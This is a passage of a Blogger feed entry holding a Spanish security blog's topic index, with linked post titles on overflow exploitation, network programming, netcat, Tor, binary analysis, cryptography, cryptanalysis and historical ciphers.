onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Explotando vulnerabilidades.&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2006/12/buffer-overflow-i.html"&gt;Buffer Overflow&lt;/a&gt;.&lt;/li&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/06/heap-overflow.html"&gt;Heap Overflow&lt;/a&gt;.&lt;/li&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/06/static-data-overflow.html"&gt;Static Data Overflow&lt;/a&gt;.&lt;/li&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/06/integer-overflow.html"&gt;Integer Overflow&lt;/a&gt;.&lt;/li&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/07/integer-overflow-en-java.html"&gt;Integer Overflow en Java&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2008/02/cmo-funciona-el-exploit-vmsplice.html"&gt;Cómo funciona el exploit vmsplice&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;   &lt;/ol&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Varios&lt;/span&gt;&lt;br /&gt;&lt;ol&gt; &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2006/12/buffer-overflow-i.html"&gt;&lt;/a&gt;&lt;a href="http://h4ck1t.blogspot.com/2008/02/publicidad-web-automatizando-clics.html"&gt;Publicidad web: automatizando clics&lt;/a&gt;&lt;br /&gt;&lt;/li&gt; &lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 255, 153);"&gt;BLOQUE II: Seguridad en la red&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Programación de red:&lt;br /&gt;&lt;/span&gt; &lt;ol&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/05/sockets-tcp-y-udp.html"&gt;Sockets TCP y UDP&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2008/05/enrutamiento-bsico-en-linux.html"&gt;Enrutamiento básico en Linux&lt;/a&gt;.&lt;br /&gt;&lt;/li&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/05/raw-sockets.html"&gt;Raw Sockets&lt;/a&gt;.&lt;/li&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/05/acceso-las-interfaces-de-red-en-linux.html"&gt;Interfaz de red en Linux&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2008/05/sockets-en-shellscript-con-xinetd.html"&gt;Sockets en shellscript con xinetd&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://dlerch.blogspot.com/2008/11/multicast-senderlistener.html"&gt;Multicast Sender/Listener&lt;/a&gt;.&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;/ol&gt;&lt;span style="font-weight: bold;"&gt;Herramientas de red:&lt;br /&gt;&lt;/span&gt;  &lt;ol&gt;    &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/05/gnu-netcat.html"&gt;GNU/Netcat&lt;/a&gt;.&lt;/li&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/10/introduccin-las-redes-tor.html"&gt;Introducción a las redes Tor&lt;/a&gt;.&lt;br /&gt;&lt;/li&gt; &lt;/ol&gt;     &lt;span style="font-weight: bold;"&gt;&lt;/span&gt; &lt;ol&gt;   &lt;/ol&gt;  &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 153);"&gt;BLOQUE III: Análisis Forense&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Análisis de binarios:&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/05/anlisis-de-binarios.html"&gt;Introducción al análisis de binarios&lt;/a&gt;.&lt;br /&gt;&lt;/li&gt; &lt;/ol&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 255, 153);"&gt;BLOQUE VI: Criptografía y Criptoanálisis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Criptografía:&lt;br /&gt;&lt;/span&gt; &lt;ol&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/07/modos-de-cifrado-ecb-cbc-ctr-ofb-y-cfb.html"&gt;Modos de cifrado: ECB, CBC, CTR, OFB y CFB&lt;/a&gt;.&lt;/li&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/05/codificacin-base-64.html"&gt;Codificación Base 64&lt;/a&gt;.&lt;/li&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/07/hash-mediante-c-y-openssl.html"&gt;Hash mediante C y OpenSSL&lt;/a&gt;.&lt;/li&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/06/des-y-triple-des.html"&gt;DES y Triple-DES&lt;/a&gt;.&lt;/li&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/05/crifrar-y-descifrar-con-la-librera.html"&gt;Criptografía con GPG y GPGME I&lt;/a&gt;.&lt;/li&gt;   &lt;li&gt;Criptografía con GPG y GPGME II.&lt;/li&gt;&lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/09/introduccin-la-criptografa-de-curva.html"&gt;Criptografía de Curva Elíptica.&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2008/07/esteganografa-el-canal-alpha.html"&gt;Esteganografía: El canal Alpha.&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2008/08/cifrados-de-sustitucin-homofnica.html"&gt;Cifrados de sustitución homofónica.&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2008/11/volmenes-cifrados-con-openssl.html"&gt;Volúmenes cifrados con OpenSSL&lt;/a&gt;.&lt;br /&gt;&lt;/li&gt; &lt;/ol&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Criptoanálisis:&lt;br /&gt;&lt;/span&gt; &lt;ol&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/09/criptoanlisis-anlisis-de-recuencias.html"&gt;Análisis de frecuencias&lt;/a&gt;.&lt;/li&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/08/buscando-colisiones-en-sha-1.html"&gt;Buscando colisiones en SHA-1&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/10/factorizacin-i-introduccin.html"&gt;Factorización I: Introducción&lt;/a&gt;.&lt;/li&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/10/factorizacin-ii-rho-de-pollard.html"&gt;Factorización II: Rho de Pollard&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/11/factorizacin-iii-p-1-de-pollard.html"&gt;Factorización III: P-1 de Pollard.&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/11/factorizacin-iv-el-mtodo-de-curva.html"&gt;Factorización IV: El método de Curva Elíptica.&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/05/rompiendo-claves-rsa.html"&gt;Rompiendo claves RSA&lt;/a&gt;.&lt;/li&gt; &lt;/ol&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Enigmas:&lt;br /&gt;&lt;/span&gt; &lt;ol&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/05/el-cifrado-dorabella.html"&gt;El cifrado Dorabella&lt;/a&gt;.&lt;/li&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/07/el-manuscrito-voynich.html"&gt;El manuscrito Voynich&lt;/a&gt;.&lt;/li&gt;   &lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/08/los-cifrados-zodiac.html"&gt;Los cifrados Zodiac&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2008/05/la-escultura-kryptos.html"&gt;La escultura Kryptos&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2008/07/los-cifrados-de-feynman.html"&gt;Los Cifrados de Feynman&lt;/a&gt;.&lt;br /&gt;&lt;/li&gt; &lt;/ol&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 255, 153);"&gt;BLOQUE VII: Seguridad Física&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Instalaciones:&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;ol&gt;&lt;li&gt;&lt;a href="http://h4ck1t.blogspot.com/2007/05/el-cifrado-dorabella.html"&gt;&lt;/a&gt;&lt;a href="http://dlerch.blogspot.com/2008/11/power-over-ethernet-casero.html"&gt;Power Over Ethernet Casero&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-2651029263185768919?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/2651029263185768919/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=2651029263185768919' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/2651029263185768919'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/2651029263185768919'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/05/ndice-por-temas.html' title='Índice por temas'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry></feed>
